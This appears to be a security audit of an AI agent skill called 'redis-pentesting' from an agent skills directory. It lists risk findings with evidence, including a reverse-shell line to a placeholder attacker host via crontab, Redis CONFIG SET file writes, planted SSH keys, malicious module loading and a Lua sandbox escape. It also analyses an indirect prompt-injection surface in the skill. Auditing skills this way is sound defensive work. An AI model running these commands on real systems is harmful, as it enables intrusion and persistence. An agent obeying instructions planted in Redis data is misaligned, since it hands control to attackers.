The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides numerous shell commands for system interaction and payload delivery.
Evidence: Use of bash -i >& /dev/tcp/ATTACKER/4444 0>&1 for reverse shells via crontab.
Evidence: Use of redis-cli to modify system configurations (CONFIG SET dir, CONFIG SET dbfilename) and write files to sensitive paths like /usr/share/nginx/html and /var/spool/cron/.
[REMOTE_CODE_EXECUTION]: Instructions guide the agent to download, compile, and execute code from external sources to gain control over a target system.
Evidence: Instructions to git clone and make the RedisModules-ExecuteCommand repository.
Evidence: Instructions to execute the redis-rogue-server.py script for automated exploitation.
[PERSISTENCE]: The skill explicitly teaches how to maintain access on a target system using standard persistence techniques.
Evidence: Writing attacker-controlled public keys to authorized_keys files in target home directories.
Evidence: Injecting reverse shell commands into system crontab files (/var/spool/cron/root).
[EXTERNAL_DOWNLOADS]: The skill references and encourages the use of tools from untrusted third-party GitHub repositories.
Evidence: References to github.com/n0b0dyCN, github.com/Avinash-acid, and github.com/captain-woof for exploitation tools and modules.
[DYNAMIC_EXECUTION]: The skill utilizes Redis-specific features to execute arbitrary code at runtime.
Evidence: Use of MODULE LOAD to inject and run malicious shared libraries (.so files).
Evidence: Use of EVAL to execute Lua scripts that attempt to escape the Redis sandbox (e.g., CVE-2022-0543).
[INDIRECT_PROMPT_INJECTION]: The skill defines a surface where the agent processes data from external, potentially attacker-controlled Redis instances.
Ingestion points: GET <key>, MONITOR, CLIENT LIST, and CONFIG GET commands in SKILL.md and references/redis-techniques.md.
Boundary markers: None present; the agent is not instructed to treat Redis data as untrusted or to ignore embedded instructions.
Capability inventory: High; includes full shell command execution, file system writes, and network operations.
Sanitization: None present; external data is processed directly by the agent's context.

redis-pentesting